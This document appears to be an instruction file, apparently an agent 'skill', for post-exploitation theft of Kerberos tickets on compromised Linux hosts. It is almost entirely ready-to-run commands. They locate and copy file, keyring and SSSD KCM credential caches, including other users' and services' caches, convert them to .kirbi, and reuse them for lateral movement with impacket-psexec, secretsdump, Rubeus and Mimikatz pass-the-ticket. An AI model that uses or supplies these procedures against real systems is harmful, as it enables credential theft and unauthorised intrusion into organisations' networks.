Linux Kerberos Ticket Harvesting

This skill guides you through extracting Kerberos tickets from Linux systems during post-exploitation. Linux stores credentials in three main locations: Files, Kernel Keyrings, and Process Memory.

Quick Start

When you pop a shell on a Linux machine and need Kerberos tickets:

1. Enumerate what cache types exist
2. Extract using the appropriate method
3. Convert to a portable format if needed
4. Use the tickets for lateral movement

Step 1: Enumerate Active Caches

Before extraction, identify where credentials are stored. Run these commands to find all cache types:

# Check current user's cache
klist -l 2>/dev/null || echo "No klist or no cache"

# Check all TGTs in current cache
klist -A 2>/dev/null

# Check kernel keyrings (requires sudo)
sudo keyctl get_persistent @u 2>/dev/null
sudo keyctl show $(keyctl get_persistent @u 2>/dev/null) 2>/dev/null

# Check file-based caches
sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc* 2>/dev/null

# Check process environments for KRB5CCNAME
sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \; 2>/dev/null

# Check krb5.conf for default cache type
grep -i default_ccache_name /etc/krb5.conf 2>/dev/null

What to look for:

• FILE:/tmp/krb5cc_%{uid}

  - File-based cache (easiest to steal)

• DIR:/run/user/%{uid}/krb5cc

  - Directory-backed cache (systemd-logind default)

• KEYRING:persistent:%{uid}

  or

  KEYRING:session

  - Kernel keyring storage

• KCM:%{uid}

  - SSSD Kerberos Cache Manager

• MEMORY:unique_id

  - Process-local cache

Step 2: Extract Based on Cache Type

File/DIR Cache Extraction (Easiest)

When

default_ccache_name

FILE:

DIR:

# Single file cache
sudo cp /tmp/krb5cc_$(id -u) /tmp/stolen.ccache

# Directory cache (one file per ticket)
sudo cp -r /run/user/$(id -u)/krb5cc /tmp/user_dircc

# Set proper permissions
chmod 600 /tmp/*.ccache
chown $(whoami) /tmp/*.ccache 2>/dev/null || true

# Validate the stolen cache
KRB5CCNAME=/tmp/stolen.ccache klist

Keyring Extraction

When

default_ccache_name

KEYRING:

# Get the persistent keyring
KRING=$(keyctl get_persistent @u 2>/dev/null)

# List all ccache blobs in the keyring
keyctl show $KRING

# Extract each ccache blob (note the serial numbers from above)
keyctl pipe <serial_number> > /tmp/ccache_dump

# Validate
KRB5CCNAME=/tmp/ccache_dump klist

Important: Check multiple keyring types:

• KEYRING:persistent:%{uid}

  - Persists across logins

• KEYRING:session

  - Cleared on logout

• KEY_SPEC_THREAD_KEYRING

  - For services with helper threads

KCM (SSSD) Cache Extraction

When

default_ccache_name

KCM:

# List all caches managed by KCM
sudo kcm_ctl list

# Extract a specific user's cache (UID 1000, cache ID 0)
sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache

# Validate
KRB5CCNAME=/tmp/1000.kcm.ccache klist

Offline KCM extraction (when socket access is blocked):

1. Copy

   /var/lib/sss/secrets/secrets.ldb

2. Copy

   /var/lib/sss/secrets/.secrets.mkey

3. Use

   SSSDKCMExtractor

   or similar tools to decrypt

Note: KCM extraction typically requires root or membership in the

kcm

Step 3: Convert to Portable Format

For cross-platform use (especially Windows tooling), convert MIT ccache to

.kirbi

# Using kerbtool (recommended)
./kerbtool --convert --in /tmp/stolen.ccache --out stolen.kirbi

# Alternative: ticketConverter.py
python3 ticketConverter.py /tmp/stolen.ccache stolen.kirbi

Step 4: Use the Tickets

From Linux

# Use with Impacket tools
KRB5CCNAME=/tmp/stolen.ccache impacket-psexec user@domain.local
KRB5CCNAME=/tmp/stolen.ccache impacket-secretsdump domain/user@domain.local

# Request additional TGS tickets
KRB5CCNAME=/tmp/stolen.ccache kerbtool --ask --spn cifs/fileserver.domain.local

From Windows

# Using Rubeus
Rubeus.exe ptt /ticket:stolen.kirbi

# Using Mimikatz
mimikatz # kerberos::ptt stolen.kirbi

Helper Scripts

Use the bundled scripts for automated extraction:

# Enumerate all cache locations
./scripts/enumerate_caches.sh

# Extract from keyrings (requires sudo)
sudo ./scripts/extract_keyring.sh

# Convert ccache to kirbi format
./scripts/convert_ticket.sh <input.ccache> <output.kirbi>

Common Scenarios

Scenario 1: Web Server with Kerberos Auth

# Check Apache/httpd process for KRB5CCNAME
tr "\0" "\n" < /proc/$(pgrep apache2)/environ | grep KRB5

# Extract the cache it's using
cp $(grep KRB5 /proc/$(pgrep apache2)/environ | cut -d= -f2) /tmp/web.ccache

Scenario 2: Multiple Users Logged In

# Find all user caches
for uid in $(ls /run/user/ 2>/dev/null); do
    echo "=== UID $uid ==="
    ls -la /run/user/$uid/krb5cc* 2>/dev/null
    sudo cp -r /run/user/$uid/krb5cc /tmp/uid${uid}_ccache 2>/dev/null
done

Scenario 3: Service Accounts

# Check common service accounts
for svc in sssd_kcm gssproxy sshd; do
    pid=$(pgrep -x $svc)
    if [ -n "$pid" ]; then
        echo "=== $svc (PID $pid) ==="
        tr "\0" "\n" < /proc/$pid/environ | grep -i krb5
    fi
done

Troubleshooting

klist: No credentials cache found

KRB5CCNAME

klist -l

keyctl: Operation not permitted

kcm_ctl: Connection refused

/run/.heim_org.h5l.kcm-socket

Permission denied

sudo

chown

KEYRING:session

KEY_SPEC_THREAD_KEYRING

Security Notes

• Keyring extraction requires understanding of kernel keyring internals
• KCM extraction typically requires privilege escalation to root
• File caches are world-readable on some misconfigured systems
• Always validate extracted tickets with

  klist

  before attempting to use them
• Ticket expiration matters - check

  klist

  output for validity times

References

• Kerberos Credential Thievery (GNU/Linux) - 2017 Paper
• Tarlogic - How to Attack Kerberos
• SSSD KCM Design
• tickey - Keyring extraction tool
• kerbtool - Modern Kerberos utility